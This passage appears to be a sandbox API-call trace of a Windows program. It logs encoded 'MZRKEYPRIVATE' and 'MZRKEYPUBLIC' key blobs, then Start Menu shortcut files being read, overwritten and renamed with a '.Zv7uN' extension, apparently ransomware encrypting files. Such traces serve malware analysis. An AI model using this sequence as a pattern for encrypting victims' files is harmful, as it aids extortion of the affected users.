lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.183] GetCurrentThreadId () returned 0xa30 [0132.183] GetCurrentThreadId () returned 0xa30 [0132.183] GetCurrentThreadId () returned 0xa30 [0132.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.185] GetCurrentThreadId () returned 0xa30 [0132.185] GetCurrentThreadId () returned 0xa30 [0132.185] GetCurrentThreadId () returned 0xa30 [0132.185] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.185] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.185] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.185] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x528 [0132.186] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.186] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x528, lpOverlapped=0x0) returned 1 [0132.189] CloseHandle (hObject=0x1dc) returned 1 [0132.189] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.191] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f114*=0x528, lpOverlapped=0x0) returned 1 [0132.193] CloseHandle (hObject=0x1dc) returned 1 [0132.193] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer reports.lnk.zv7un")) returned 1 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] GetCurrentThreadId () returned 0xa30 [0132.195] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0132.195] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.195] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.195] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524)) returned 1 [0132.196] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk")) returned 0x20 [0132.196] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk", dwFileAttributes=0x80) returned 1 [0132.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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